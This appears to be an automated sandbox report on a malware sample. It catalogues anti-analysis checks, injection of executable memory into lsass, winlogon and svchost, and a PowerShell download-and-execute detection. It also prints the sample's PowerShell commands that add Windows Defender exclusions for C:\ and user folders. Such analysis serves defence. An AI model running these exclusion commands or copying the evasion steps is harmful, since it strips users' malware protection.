                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
                      Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6106Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3524Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5812Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3822Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4789Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1531Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8186Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1242Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 5566Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 4286Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4159
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5664
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 4326
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 5539
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6237
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3378
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4227
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1933
                      Source: C:\Windows\System32\dialer.exeWindow / User API: threadDelayed 1679
                      Source: C:\Windows\System32\dialer.exeWindow / User API: threadDelayed 872
                      Source: C:\Windows\System32\winlogon.exeWindow / User API: threadDelayed 3541
                      Source: C:\Windows\System32\winlogon.exeWindow / User API: threadDelayed 6459
                      Source: C:\Windows\System32\lsass.exeWindow / User API: threadDelayed 9191
                      Source: C:\Windows\System32\lsass.exeWindow / User API: threadDelayed 775
                      Source: C:\Windows\System32\svchost.exeWindow / User API: threadDelayed 734
                      Source: C:\Windows\System32\dwm.exeWindow / User API: threadDelayed 9868
                      Source: C:\Windows\System32\svchost.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_66-15146
                      Source: C:\Windows\System32\dialer.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_51-409
                      Source: C:\Windows\System32\lsass.exeAPI coverage: 8.0 %
                      Source: C:\Windows\System32\svchost.exeAPI coverage: 4.9 %
                      Source: C:\Windows\System32\svchost.exeAPI coverage: 4.7 %
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2728Thread sleep count: 6106 > 30Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4364Thread sleep time: -22136092888451448s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2488Thread sleep count: 3524 > 30Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6284Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3548Thread sleep time: -27670116110564310s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3548Thread sleep time: -597516s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3776Thread sleep time: -10145709240540247s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5912Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6096Thread sleep time: -30000s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5748Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2924Thread sleep count: 8186 > 30Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3524Thread sleep count: 1242 > 30Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1708Thread sleep time: -8301034833169293s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1012Thread sleep time: -11068046444225724s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6096Thread sleep time: -30000s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5424Thread sleep time: -922337203685477s >= -30000s
                      Source: C:\Windows\System32\svchost.exe TID: 3580Thread sleep time: -30000s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2716Thread sleep count: 6237 > 30
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7144Thread sleep count: 3378 > 30
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2736Thread sleep time: -6456360425798339s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7308Thread sleep time: -9223372036854770s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7292Thread sleep time: -922337203685477s >= -30000s
                      Source: C:\Windows\System32\dialer.exe TID: 7728Thread sleep count: 1679 > 30
                      Source: C:\Windows\System32\dialer.exe TID: 7728Thread sleep time: -167900s >= -30000s
                      Source: C:\Windows\System32\dialer.exe TID: 7868Thread sleep count: 872 > 30
                      Source: C:\Windows\System32\dialer.exe TID: 7868Thread sleep time: -87200s >= -30000s
                      Source: C:\Windows\System32\winlogon.exe TID: 7940Thread sleep count: 3541 > 30
                      Source: C:\Windows\System32\winlogon.exe TID: 7940Thread sleep time: -3541000s >= -30000s
                      Source: C:\Windows\System32\winlogon.exe TID: 7940Thread sleep count: 6459 > 30
                      Source: C:\Windows\System32\winlogon.exe TID: 7940Thread sleep time: -6459000s >= -30000s
                      Source: C:\Windows\System32\lsass.exe TID: 7012Thread sleep count: 9191 > 30
                      Source: C:\Windows\System32\lsass.exe TID: 7012Thread sleep time: -9191000s >= -30000s
                      Source: C:\Windows\System32\lsass.exe TID: 7012Thread sleep count: 775 > 30
                      Source: C:\Windows\System32\lsass.exe TID: 7012Thread sleep time: -775000s >= -30000s
                      Source: C:\Windows\System32\svchost.exe TID: 2268Thread sleep count: 734 > 30
                      Source: C:\Windows\System32\svchost.exe TID: 2268Thread sleep time: -734000s >= -30000s
                      Source: C:\Windows\System32\dwm.exe TID: 6804Thread sleep count: 9868 > 30
                      Source: C:\Windows\System32\dwm.exe TID: 6804Thread sleep time: -9868000s >= -30000s
                      Source: C:\Windows\System32\svchost.exe TID: 3552Thread sleep count: 253 > 30
                      Source: C:\Windows\System32\svchost.exe TID: 3552Thread sleep time: -253000s >= -30000s
                      Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\dialer.exeLast function: Thread delayed
                      Source: C:\Windows\System32\dialer.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\lsass.exeLast function: Thread delayed
                      Source: C:\Windows\System32\lsass.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile Volume queried: C:\ FullSizeInformation
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165EDCE0 FindFirstFileExW,55_2_000002D0165EDCE0
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F151DCE0 FindFirstFileExW,58_2_000002D6F151DCE0
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FDDCE0 FindFirstFileExW,66_2_0000014E41FDDCE0
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B05DCE0 FindFirstFileExW,67_2_000001D15B05DCE0
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32EDCE0 FindFirstFileExW,68_2_0000023AF32EDCE0
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 597516Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicshutdownNT SERVICE
                      Source: lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicvssNT SERVICE
                      Source: lsass.exe, 0000003A.00000002.3428687874.000002D6F0D9E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTVMWare
                      Source: file.exe, 00000000.00000002.2124854737.00000000004F1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                      Source: svchost.exe, 00000019.00000002.2378428402.0000021F62A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2379675078.0000021F6805B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicheartbeatNT SERVICE
                      Source: RegSvcs.exe, 0000000F.00000002.3420376672.0000000000968000.00000004.00000020.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369615948.000002D6F0613000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426324369.000002D6F0613000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: RegSvcs.exe, 00000015.00000002.3435904678.0000000001018000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: C:\Windows\System32\dialer.exeAPI call chain: ExitProcess graph end nodegraph_51-477
                      Source: C:\Users\user\AppData\Roaming\LB311.exeSystem information queried: ModuleInformation
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

                      Anti Debugging

                      barindex
                      Tries to detect sandboxes and other dynamic analysis tools (window names)
                      Source: C:\ProgramData\Mig\Mig.exeOpen window title or class name: regmonclass
                      Source: C:\ProgramData\Mig\Mig.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                      Source: C:\ProgramData\Mig\Mig.exeOpen window title or class name: procmon_window_class
                      Source: C:\ProgramData\Mig\Mig.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                      Source: C:\ProgramData\Mig\Mig.exeOpen window title or class name: filemonclass
                      Source: C:\ProgramData\Mig\Mig.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess queried: DebugPort
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess queried: DebugObjectHandle
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess queried: DebugPort
                      Source: C:\ProgramData\Mig\Mig.exeProcess queried: DebugPort
                      Source: C:\ProgramData\Mig\Mig.exeProcess queried: DebugObjectHandle
                      Source: C:\ProgramData\Mig\Mig.exeProcess queried: DebugPort
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,55_2_000002D0165E7D90
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,51_2_00000001400017EC
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                      Source: C:\Windows\System32\dialer.exeProcess token adjusted: Debug
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,55_2_000002D0165E7D90
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165F6218 SetUnhandledExceptionFilter,55_2_000002D0165F6218
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165ED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,55_2_000002D0165ED2A4
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F1517D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,58_2_000002D6F1517D90
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F151D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,58_2_000002D6F151D2A4
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,66_2_0000014E41FDD2A4
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FD7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,66_2_0000014E41FD7D90
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B066218 SetUnhandledExceptionFilter,67_2_000001D15B066218
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B05D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,67_2_000001D15B05D2A4
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B057D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,67_2_000001D15B057D90
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32ED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,68_2_0000023AF32ED2A4
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,68_2_0000023AF32E7D90
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMemory allocated: page read and write | page guardJump to behavior

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      Yara detected Powershell download and execute
                      Source: Yara matchFile source: amsi32_5492.amsi.csv, type: OTHER
                      Source: Yara matchFile source: amsi32_6600.amsi.csv, type: OTHER
                      Source: Yara matchFile source: amsi32_4208.amsi.csv, type: OTHER
                      Source: Yara matchFile source: amsi64_5088.amsi.csv, type: OTHER
                      Source: Yara matchFile source: amsi64_7176.amsi.csv, type: OTHER
                      Source: Yara matchFile source: Process Memory Space: file.exe PID: 5680, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 5028, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 1112, type: MEMORYSTR
                      Adds a directory exclusion to Windows Defender
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\Jump to behavior
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                      Allocates memory in foreign processes
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\winlogon.exe base: 2D016580000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\lsass.exe base: 2D6F14E0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 14E41FA0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dwm.exe base: 1D15B020000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 23AF32B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 23C9FD60000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1A1CA6E0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 246ED7B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 200A1980000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 22595FB0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 22E670C0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1FE4A4B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 24C19A40000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 275D1FC0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 23BBDC90000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 227D8FC0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2DED2C70000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 14ACE6B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 220AEFD0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 241B6950000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 202A22A0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 14D25AA0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1BD1A2F0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 21A63950000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1834ABA0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2D8F03D0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 18BAF3C0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 256EBEB0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2568E1B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 226A7DC0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\spoolsv.exe base: 12A0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1E2C0F50000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2EE0D7C0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 22B68FC0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 207EA800000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE890000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 11CD6340000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1AFDEB70000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 207C0460000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 245A2150000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 24708EB0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 22F60740000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 26E569B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2CA8FE60000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\sihost.exe base: 1D63DC20000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1A799B20000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1F6963B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 26481BB0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 166D2D90000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 128DE440000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2101D0E0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\explorer.exe base: 2FA0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 192D22D0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 26DD2000000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 257155B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dasHost.exe base: 16443E50000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2C8A6F80000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1E968250000 protect: page execute and read and write
